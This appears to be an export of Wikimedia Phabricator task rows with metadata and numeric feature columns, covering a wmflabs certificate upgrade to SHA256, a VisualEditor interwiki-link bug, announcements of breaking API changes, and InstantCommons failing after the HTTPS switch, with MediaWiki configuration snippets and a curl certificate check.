[[https://gerrit.wikimedia.org/r/221167]]
",,,1435344588,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-betmtajh4mfbsbg53cqx,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,3.814814814814815,0.8888888888888888,"Change 221167 had a related patch set uploaded (by RobH):
changing *.wmflabs.org from sha1 to sha256

[[GERRIT_URL]]
"
482634,update star.wmflabs.org cert from sha1 to sha256,"there also seems to be two wmflabs certificate files in the repo:

star.wmflabs.crt
star.wmflabs.org.crt

Now, rapidssl also happens to have two different SHA1 hashed certificates for *.wmflabs.org, so perhaps these are both of them?

My patchset will replace the contents of star.wmflabs.org.crt, and will also propose to remove the other file.  I'll then assign the patchset and this task to the labs team for implementation.",,,1435344190,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-betmtajh4mfbsbg53cqx,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,3.0,0.0,8.0,13.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,5.0,1.0,3.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,4.0,13.0,5.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.6455696202531644,0.7341772151898734,"there also seems to be two wmflabs certificate files in the repo:

star.wmflabs.crt
star.wmflabs.org.crt

Now, rapidssl also happens to have two different SHA1 hashed certificates for *.wmflabs.org, so perhaps these are both of them?

My patchset will replace the contents of star.wmflabs.org.crt, and will also propose to remove the other file.  I'll then assign the patchset and this task to the labs team for implementation."
103920,"VisualEditor presents existing interwiki link as external link, indistinguishable from http link","https://www.mediawiki.org/wiki/Reading/Web/SWAT_policy?action=edit&oldid=1692782  has both an interwiki [[`labsconsole:SWAT_deploys#Guidelines` | //link text// ]] link and a URL [`https://wikitech.wikimedia.org/wiki/SWAT_deploys#Guidelines` //link text//] link.

In VisualEditor, these appear identically.
- external link ""arrow"" icon
- click on them and the link popup shows https://wikitech...
- click Edit in the link popup and it shows an ""External link"" https://wikitech..

All of this is wrong for an interwiki link.  If you're editing in order to change https: links to interwiki links, or if you're trying to distinguish interwiki link synonyms (such as labsconsole/wikitech or en/w/wikipedia) it's very confusing!

If I switch the Link dialog to ""Search pages"" pane and change the https://wikitech link to interwiki wikitech:SWAT_deploys#Guidelines , then it appears without an external link icon, and the link popup shows **W**ikitech:SWAT_deploys#Guidelines (capital 'W' but close enough), and if I Edit I see the interwiki link I entered in the ""Search pages"" pane. That's great, so why don't existing interwiki links display and act this way?

Expected result: VisualEditor should present existing interwiki links as interwiki links.

{T51316} is fixed, but this behavior doesn't feel right. Maybe the glitch is in what Parsoid provides, or some link normalization code.",High,80.0,1435267655,1435604174.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-5gkuyhirmvr5yqrduicj,task_description,duplicate,True,c3,2,False,False,True,-1,True,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,6.0,0.6666666666666666,0.0,0.0,1.3333333333333333,2.6666666666666665,2.0,0.0,0.0,0.0,1.6666666666666667,0.0,3.6666666666666665,7.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,6.666666666666667,2.3333333333333335,1.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,18.666666666666668,1.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,11.333333333333334,1.6666666666666667,4.666666666666667,7.0,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,0.0,0.0,0.0,3.6666666666666665,7.0,5.0,0.3333333333333333,3.3333333333333335,0.0,3.6666666666666665,0.0,0.6666666666666666,1.6666666666666667,0.3333333333333333,1.3333333333333333,0.0,0.0,1.3333333333333333,3.856543547651619,0.6500227998176015,"URL  has both an interwiki [[CODE | //link text// ]] link and a URL [CODE //link text//] link.

In VisualEditor, these appear identically.
- external link ""arrow"" icon
- click on them and the link popup shows URL
- click Edit in the link popup and it shows an ""External link"" URL

All of this is wrong for an interwiki link.  If you're editing in order to change https: links to interwiki links, or if you're trying to distinguish interwiki link synonyms (such as labsconsole/wikitech or en/w/wikipedia) it's very confusing!

If I switch the Link dialog to ""Search pages"" pane and change the URL link to interwiki wikitech:SWAT_deploys#Guidelines , then it appears without an external link icon, and the link popup shows **W**ikitech:SWAT_deploys#Guidelines (capital 'W' but close enough), and if I Edit I see the interwiki link I entered in the ""Search pages"" pane. That's great, so why don't existing interwiki links display and act this way?

Expected result: VisualEditor should present existing interwiki links as interwiki links.

{T51316} is fixed, but this behavior doesn't feel right. Maybe the glitch is in what Parsoid provides, or some link normalization code."
102997,"more on-wiki alerts about breaking API changes (https-only, continue)","The change to https broke a couple of bots,
the change to continue behavior due 30 June to 2 July will break more.

I think these API changes should be communicated on MediaWiki main page, API main page, and probably other channels I'm unaware of.",High,80.0,1434655835,1435584252.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_description,resolved,True,c3,2,False,False,True,-2,True,0.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,11.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,15.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,4.0,11.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.8679245283018866,0.7924528301886793,"The change to https broke a couple of bots,
the change to continue behavior due 30 June to 2 July will break more.

I think these API changes should be communicated on MediaWiki main page, API main page, and probably other channels I'm unaware of."
483550,"more on-wiki alerts about breaking API changes (https-only, continue)",">>! In T102997#1393447, @Aklapper wrote:
> It was mentioned in [[ https://meta.wikimedia.org/wiki/Tech/News/2015/24 | Tech News w24 ]] and [[ https://meta.wikimedia.org/w/index.php?title=Tech%2FNews%2F2015%2F27&type=revision&diff=12497085&oldid=12496247 | I've added it to get mentioned again in w27 ]].

For the records, mentioned again in https://meta.wikimedia.org/wiki/Tech/News/2015/27",,,1435594829,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,33.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.9166666666666666,"QUOTE
QUOTE

For the records, mentioned again in URL"
483445,"more on-wiki alerts about breaking API changes (https-only, continue)","@Elitre: Thanks for sharing that list. Highly appreciated!

So I'm going to close this task as resolved. @SPage: If your missing specific steps to communicate those changes more widely, please reopen and elaborate.

Thanks everybody!",,,1435584252,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,True,,,-1,True,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,11.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,7.0,0.0,0.0,4.0,0.0,9.0,2.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,4.565217391304348,0.8260869565217391,"SCREEN_NAME: Thanks for sharing that list. Highly appreciated!

So I'm going to close this task as resolved.SCREEN_NAME: If your missing specific steps to communicate those changes more widely, please reopen and elaborate.

Thanks everybody!"
483398,"more on-wiki alerts about breaking API changes (https-only, continue)","This change was announced for months in appropriate venues like mailing lists and Tech News. Despite this, some liaisons decided to spread the word even further on wiki. Wikis which received any kind of notification or are known to be aware of the change are (in some cases, in the wiki's language):
#en.wp
#de.wp 
#nl.wp 
#fr.wp 
#ru .wp
#it.wp
#es.wp
#vi.wp
#pl.wp
#ja.wp
#pt.wp
#zh.wp
#ca.wp
#he.wp
#uk.wp
We don't plan further on-wiki announcements for this change.",,,1435577480,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,False,,,-1,True,1.5,0.0,0.0,1.0,1.0,1.0,0.5,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,1.0,0.0,2.5,7.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,17.5,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,2.0,3.5,0.5,1.0,5.5,0.0,0.0,0.0,12.5,2.0,0.0,0.0,0.0,1.0,7.0,5.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.4055084745762714,0.6627118644067798,"This change was announced for months in appropriate venues like mailing lists and Tech News. Despite this, some liaisons decided to spread the word even further on wiki. Wikis which received any kind of notification or are known to be aware of the change are (in some cases, in the wiki's language):
#en.wp
#de.wp 
#nl.wp 
#fr.wp 
#ru .wp
#it.wp
#es.wp
#vi.wp
#pl.wp
#ja.wp
#pt.wp
#zh.wp
#ca.wp
#he.wp
#uk.wp
We don't plan further on-wiki announcements for this change."
483368,"more on-wiki alerts about breaking API changes (https-only, continue)",Heads-up; slightly related (community health): https://commons.wikimedia.org/wiki/Commons:Village_pump#Pulled_the_plug_on_CategorizationBot_.26_ErfgoedBot ,,,1435574779,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,1.0,Heads-up; slightly related (community health): URL 
482996,"more on-wiki alerts about breaking API changes (https-only, continue)",I think @Elitre is working on the communication of this API break?,,,1435431302,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.916666666666667,1.0,I thinkSCREEN_NAME is working on the communication of this API break?
480179,"more on-wiki alerts about breaking API changes (https-only, continue)",(as per conversation with @SPage in meeting:) It was mentioned in [[ https://meta.wikimedia.org/wiki/Tech/News/2015/24 | Tech News w24 ]] and [[ https://meta.wikimedia.org/w/index.php?title=Tech%2FNews%2F2015%2F27&type=revision&diff=12497085&oldid=12496247 | I've added it to get mentioned again in w27 ]].,,,1435081534,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,15.0,10.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.230769230769231,0.717948717948718,(as per conversation withSCREEN_NAME in meeting:) It was mentioned in [[ URL | Tech News w24 ]] and [[ URL | I've added it to get mentioned again in w27 ]].
480134,"more on-wiki alerts about breaking API changes (https-only, continue)","Probably the list of ""important"" would welcome an update so I've asked for that on [[ https://lists.wikimedia.org/pipermail/wikitech-l/2015-June/082178.html | wikitech-l ]] and also asked whether *gadget* maintainers have been contacted (as Sitic on de.wp came up with a query for such gadgets).",,,1435078304,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,8.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,19.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,3.547169811320755,0.8679245283018868,"Probably the list of ""important"" would welcome an update so I've asked for that on [[ URL | wikitech-l ]] and also asked whether *gadget* maintainers have been contacted (as Sitic on de.wp came up with a query for such gadgets)."
477928,"more on-wiki alerts about breaking API changes (https-only, continue)","References:
* change to https: cf. T102566.
* change to continue behavior: https://lists.wikimedia.org/pipermail/mediawiki-api-announce/2015-June/000084.html

Regarding communication, just pointing out that the Pywikibot compat deprecation announcement by the Pywikibot team kind of mentioned the API ""continue"" breakage already by ""your bot will most likely break."".

Examples:
* https://commons.wikimedia.org/wiki/Commons:Village_pump/Archive/2015/06#Pywikibot_compat_will_no_longer_be_supported_-_Please_migrate_to_pywikibot_core
* https://de.wikipedia.org/wiki/Wikipedia:Fragen_zur_Wikipedia/Archiv/2015/Woche_23#Pywikibot_compat_will_no_longer_be_supported_-_Please_migrate_to_pywikibot_core",,,1434713859,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,10.0,4.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,4.029850746268656,0.6268656716417911,"References:
* change to https: cf. T102566.
* change to continue behavior: URL

Regarding communication, just pointing out that the Pywikibot compat deprecation announcement by the Pywikibot team kind of mentioned the API ""continue"" breakage already by ""your bot will most likely break."".

Examples:
* URL
* URL"
102566,InstantCommons broken by switch to HTTPS,"InstantCommons has been broken by the switch to HTTPS-only mode - see e.g. [[ http://en.wikipedia.beta.wmflabs.org/wiki/Main_Page | beta enwiki ]]. Fixed in master, needs backport to supported branches. HTTPS redirect has been temporarily disabled on Commons to give users time to upgrade.

Patch for people running older versions of MediaWiki: [[ https://git.wikimedia.org/patch/mediawiki%2Fcore/8517b3cb2276878d11004e2b8bd0a41ce8876134 | 8517b3 ]]

Alternatively, you can put this code snippet in your `LocalSettings.php`:
```
$wgUseInstantCommons = false;
$wgForeignFileRepos[] = array(
	'class' => 'ForeignAPIRepo',
	'name' => 'wikimediacommons',
	'apibase' => 'https://commons.wikimedia.org/w/api.php',
	'hashLevels' => 2,
	'fetchDescription' => true,
	'descriptionCacheExpiry' => 43200,
	'apiThumbCacheExpiry' => 86400,
);
```

If that does not help, the root certificate bundle of your server might be missing the certificate authority used by Wikimedia (GlobalSign), in which case it is probably badly outdated and you should update it. If you have shell access, you can check with this command (look at the ""Server certificate"" block):
> curl -vso /dev/null 'https://upload.wikimedia.org/wikipedia/commons/7/70/Example.png' && echo success || echo failed",High,80.0,1434409881,1446744270.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-ol3sysyye6zvepfewmrh,task_description,resolved,True,c3,2,True,False,False,-3,True,0.0,0.0,0.0,1.0,0.5,2.5,0.0,0.0,0.0,1.5,3.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,10.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,2.0,0.0,0.5,4.0,1.0,1.5,0.0,4.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,16.5,0.5,1.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,2.5,10.5,1.5,0.5,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,6.0,0.0,1.5,0.0,5.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,2.0,3.9333333333333336,0.7466666666666667,"InstantCommons has been broken by the switch to HTTPS-only mode - see e.g. [[ URL | beta enwiki ]]. Fixed in master, needs backport to supported branches. HTTPS redirect has been temporarily disabled on Commons to give users time to upgrade.

Patch for people running older versions of MediaWiki: [[ URL | 8517b3 ]]

Alternatively, you can put this code snippet in your CODE:
``CODE``

If that does not help, the root certificate bundle of your server might be missing the certificate authority used by Wikimedia (GlobalSign), in which case it is probably badly outdated and you should update it. If you have shell access, you can check with this command (look at the ""Server certificate"" block):
QUOTE"
722950,InstantCommons broken by switch to HTTPS,Hi! Finally InstantCommons is working in my wiki again. I don't know exactly what caused the error but after updating form PHP5 to PHP7 and following instructions [[ http://askubuntu.com/questions/761235/upgrading-to-ubuntu-16-04-removed-my-mediawiki-installation-how-do-i-get-it-bac | here ]] it is working again. Thanks to all who had helped me!,,,1473107023,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,61,True,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,14.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,16.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,8.0,8.0,6.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,2.0,8.0,0.0,0.0,2.0,3.82,0.84,Hi! Finally InstantCommons is working in my wiki again. I don't know exactly what caused the error but after updating form PHP5 to PHP7 and following instructions [[ URL | here ]] it is working again. Thanks to all who had helped me!
689295,InstantCommons broken by switch to HTTPS,"How do I check the http log channel?

In /mediawiki/LocalSettings.php I have following lines:


```
## To enable image uploads, make sure the 'images' directory
## is writable, then set this to true:
$wgEnableUploads = true;
# $wgUseImageMagick = true;
# $wgImageMagickConvertCommand = ""/usr/bin/convert"";

# InstantCommons allows wiki to use images from http://commons.wikimedia.org
$wgUseInstantCommons = true;

## If you use ImageMagick (or any other shell command) on a
## Linux server, this will need to be set to the name of an
## available UTF-8 locale
$wgShellLocale = ""en_US.utf8"";
```


In /mediawiki/includes/Setup.php I have following lines:

```
/**
 * Initialise $wgLocalFileRepo from backwards-compatible settings
 */
if ( !$wgLocalFileRepo ) {
	$wgLocalFileRepo = [
		'class' => 'LocalRepo',
		'name' => 'local',
		'directory' => $wgUploadDirectory,
		'scriptDirUrl' => $wgScriptPath,
		'scriptExtension' => '.php',
		'url' => $wgUploadBaseUrl ? $wgUploadBaseUrl . $wgUploadPath : $wgUploadPath,
		'hashLevels' => $wgHashedUploadDirectory ? 2 : 0,
		'thumbScriptUrl' => $wgThumbnailScriptPath,
		'transformVia404' => !$wgGenerateThumbnailOnParse,
		'deletedDir' => $wgDeletedDirectory,
		'deletedHashLevels' => $wgHashedUploadDirectory ? 3 : 0
	];
}
/**
 * Initialise shared repo from backwards-compatible settings
 */
if ( $wgUseSharedUploads ) {
	if ( $wgSharedUploadDBname ) {
		$wgForeignFileRepos[] = [
			'class' => 'ForeignDBRepo',
			'name' => 'shared',
			'directory' => $wgSharedUploadDirectory,
			'url' => $wgSharedUploadPath,
			'hashLevels' => $wgHashedSharedUploadDirectory ? 2 : 0,
			'thumbScriptUrl' => $wgSharedThumbnailScriptPath,
			'transformVia404' => !$wgGenerateThumbnailOnParse,
			'dbType' => $wgDBtype,
			'dbServer' => $wgDBserver,
			'dbUser' => $wgDBuser,
			'dbPassword' => $wgDBpassword,
			'dbName' => $wgSharedUploadDBname,
			'dbFlags' => ( $wgDebugDumpSql ? DBO_DEBUG : 0 ) | DBO_DEFAULT,
			'tablePrefix' => $wgSharedUploadDBprefix,
			'hasSharedCache' => $wgCacheSharedUploads,
			'descBaseUrl' => $wgRepositoryBaseUrl,
			'fetchDescription' => $wgFetchCommonsDescriptions,
		];
	} else {
		$wgForeignFileRepos[] = [
			'class' => 'FileRepo',
			'name' => 'shared',
			'directory' => $wgSharedUploadDirectory,
			'url' => $wgSharedUploadPath,
			'hashLevels' => $wgHashedSharedUploadDirectory ? 2 : 0,
			'thumbScriptUrl' => $wgSharedThumbnailScriptPath,
			'transformVia404' => !$wgGenerateThumbnailOnParse,
			'descBaseUrl' => $wgRepositoryBaseUrl,
			'fetchDescription' => $wgFetchCommonsDescriptions,
		];
	}
}
if ( $wgUseInstantCommons ) {
	$wgForeignFileRepos[] = [
		'class' => 'ForeignAPIRepo',
		'name' => 'wikimediacommons',
		'apibase' => 'https://commons.wikimedia.org/w/api.php',
		'url' => 'https://upload.wikimedia.org/wikipedia/commons',
		'thumbUrl' => 'https://upload.wikimedia.org/wikipedia/commons/thumb',
		'hashLevels' => 2,
		'transformVia404' => true,
		'fetchDescription' => true,
		'descriptionCacheExpiry' => 43200,
		'apiThumbCacheExpiry' => 86400,
	];
}
```",,,1467794207,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,52,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,24.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,8.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.08,0.84,"How do I check the http log channel?

In /mediawiki/LocalSettings.php I have following lines:


``CODE`CODE`CODE``"
689172,InstantCommons broken by switch to HTTPS,First steps when debugging InstantCommons issues are usually to check the `http` log channel and the value of `$wgLocalFileRepo` and `$wgForeignFileRepos`.,,,1467761190,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,52,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,23.0,5.0,9.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.636363636363637,0.8181818181818182,First steps when debugging InstantCommons issues are usually to check the CODE log channel and the value of CODE and CODE.
688940,InstantCommons broken by switch to HTTPS,"Hello!

I was looking for help in this topic about year ago because instantcommons stopped working in my wiki after switch to HTTPS. I was unable to detect the reason and solve this issue and there wasn't much time after that to deal with it more profoundly. About week ago I found out that the new LTS release 1.27 has come out and there were info that was big relief for me: 

```
InstantCommons made easier and cheaper
InstantCommons will now truly work out of the box, as long as your users can connect to upload.wikimedia.org: thumbnails will be served from that domain instead of requiring local generation (gerrit:251556).
```
So I thought that finally my problem is solved if I only upgrade from 1.23.13 to 1.27.0. So I did but when this was done I had to conclude that nothing changed - thumbnails of commons images are not generated, only red links are shown that lead to upload page.

Again I am asking the same question: do you have any ideas what's wrong?

I have Mediawiki 1.27.0, curl installed.

